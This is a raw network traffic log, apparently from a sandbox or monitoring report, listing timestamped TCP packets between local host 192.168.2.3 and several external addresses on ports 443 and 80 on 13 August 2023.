Aug 13, 2023 08:42:07.546747923 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.546842098 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.546858072 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.546890974 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.546962976 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.547000885 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.547041893 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.547139883 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.547151089 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.547188044 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.547228098 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.547316074 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.547352076 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.547394037 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.547405958 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.547467947 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.547514915 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.547570944 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.547609091 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.547662020 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.547672987 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.547811985 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.547826052 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.547915936 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.547960043 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.548037052 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.548053980 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.548075914 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.548104048 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.548190117 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.548190117 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.548204899 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.548291922 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.548336029 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.548371077 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.548427105 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.548455954 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.548499107 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.548526049 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.548557997 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.548592091 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.548724890 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.548724890 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.548751116 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.548780918 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.548783064 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.548824072 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.548841000 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.548898935 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.549005032 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549005032 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549005032 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549005032 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549011946 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.549036980 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.549065113 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.549257994 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.549278021 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549278021 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549278021 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549278021 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549302101 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.549352884 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549393892 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549438000 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549505949 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.549537897 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.549644947 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549644947 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549662113 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.549681902 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.549705982 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549719095 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.549772024 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549784899 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.549802065 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549839020 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549884081 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.549916983 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.549938917 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.549952984 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.549966097 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.550012112 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.550084114 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.550131083 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.550133944 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.550148964 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.550236940 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.550236940 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.550282001 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.550317049 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.550358057 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.550368071 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.550384045 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.550415993 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.550538063 CEST	443	49739	108.181.20.39	192.168.2.3
Aug 13, 2023 08:42:07.550616980 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.550651073 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.550978899 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:07.557049036 CEST	49739	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:42:41.909991980 CEST	80	49703	209.197.3.8	192.168.2.3
Aug 13, 2023 08:42:41.912995100 CEST	49703	80	192.168.2.3	209.197.3.8
Aug 13, 2023 08:42:49.854064941 CEST	80	49703	209.197.3.8	192.168.2.3
Aug 13, 2023 08:42:49.855575085 CEST	49703	80	192.168.2.3	209.197.3.8
Aug 13, 2023 08:42:58.642889977 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:42:58.642920971 CEST	443	49702	23.0.174.112	192.168.2.3
Aug 13, 2023 08:42:58.643016100 CEST	49702	443	192.168.2.3	23.0.174.112
Aug 13, 2023 08:43:28.013283014 CEST	49750	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:43:28.013331890 CEST	443	49750	23.109.93.100	192.168.2.3
Aug 13, 2023 08:43:28.013457060 CEST	49750	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:43:28.027919054 CEST	49750	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:43:28.027965069 CEST	443	49750	23.109.93.100	192.168.2.3
Aug 13, 2023 08:43:28.144376993 CEST	443	49750	23.109.93.100	192.168.2.3
Aug 13, 2023 08:43:28.144584894 CEST	49750	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:43:28.152362108 CEST	49750	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:43:28.152391911 CEST	443	49750	23.109.93.100	192.168.2.3
Aug 13, 2023 08:43:28.152831078 CEST	443	49750	23.109.93.100	192.168.2.3
Aug 13, 2023 08:43:28.154505968 CEST	49750	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:43:28.183856964 CEST	443	49750	23.109.93.100	192.168.2.3
Aug 13, 2023 08:43:28.183907032 CEST	443	49750	23.109.93.100	192.168.2.3
Aug 13, 2023 08:43:28.184037924 CEST	443	49750	23.109.93.100	192.168.2.3
Aug 13, 2023 08:43:28.184171915 CEST	49750	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:43:28.184171915 CEST	49750	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:43:28.190427065 CEST	49750	443	192.168.2.3	23.109.93.100
Aug 13, 2023 08:43:41.393629074 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:41.393732071 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:41.393939972 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:41.456505060 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:41.456545115 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:41.625566006 CEST	80	49722	34.104.35.123	192.168.2.3
Aug 13, 2023 08:43:41.626287937 CEST	49722	80	192.168.2.3	34.104.35.123
Aug 13, 2023 08:43:41.802920103 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:41.803051949 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:41.808098078 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:41.808125973 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:41.808690071 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:41.866403103 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.142229080 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.182813883 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.474698067 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.474729061 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.474740028 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.474761009 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.474771976 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.474807978 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.474909067 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.474951029 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.474978924 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.475003004 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.475029945 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.475070000 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.475100040 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.475151062 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.641160965 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.641196966 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.641295910 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.641339064 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.641366959 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.641686916 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.641720057 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.641781092 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.641803980 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.641834974 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.641860962 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.681567907 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.681624889 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.681703091 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.681751013 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.681786060 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.682336092 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.808665037 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.808726072 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.808933973 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.808980942 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.809032917 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.809036016 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.809051991 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.809070110 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.809114933 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.809122086 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.809137106 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.809150934 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.809201002 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.809222937 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.809659958 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.809708118 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.809773922 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.809798956 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.809823990 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.810415030 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.810467005 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.810507059 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.810527086 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.810555935 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.810585976 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.811243057 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.811290979 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.811351061 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.811367989 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.811393023 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.811609983 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.853050947 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.853085041 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.853337049 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.853384972 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.853477001 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.977790117 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.977855921 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.978090048 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.978122950 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.978214979 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.978574991 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.978630066 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.978723049 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.978744030 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.978852987 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.978904009 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.979372025 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.979434967 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.979526997 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.979547977 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.979619026 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.979866028 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.979914904 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.979996920 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.980012894 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.980098963 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.980149031 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.980509043 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.980556965 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.980627060 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.980639935 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.980715036 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.981007099 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.981055021 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.981161118 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.981180906 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.981249094 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.981615067 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.981658936 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.981729984 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.981746912 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.981838942 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.982239962 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.982280970 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.982309103 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.982393026 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.982407093 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.982479095 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.982933044 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.982985020 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.983057022 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.983076096 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.983139992 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.983186007 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.983448982 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.983500004 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.983588934 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.983608961 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:42.983695030 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:42.983989954 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.013533115 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.013601065 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.013763905 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.013794899 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.013849020 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.013894081 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.019407988 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.019471884 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.019561052 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.019584894 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.019627094 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.019676924 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.061672926 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.061742067 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.061923027 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.061959028 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.061985970 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.062519073 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.150182009 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.150250912 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.150312901 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.150348902 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.150382996 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.150427103 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.150432110 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.150454044 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.150506973 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.150510073 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.150569916 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.150592089 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.150620937 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.150654078 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.150835037 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.150890112 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.150938988 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.150959015 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.150988102 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.151031017 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.151595116 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.151643038 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.151688099 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.151712894 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.151812077 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.151812077 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.152164936 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.152216911 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.152260065 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.152292013 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.152321100 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.152345896 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.152415991 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.152925014 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.152970076 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.153032064 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.153055906 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.153099060 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.153124094 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.153311014 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.153548002 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.153595924 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.153645039 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.153667927 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.153702974 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.153754950 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.153862953 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.154252052 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.154301882 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.154362917 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.154387951 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.154460907 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.154488087 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.154907942 CEST	443	49753	108.181.20.39	192.168.2.3
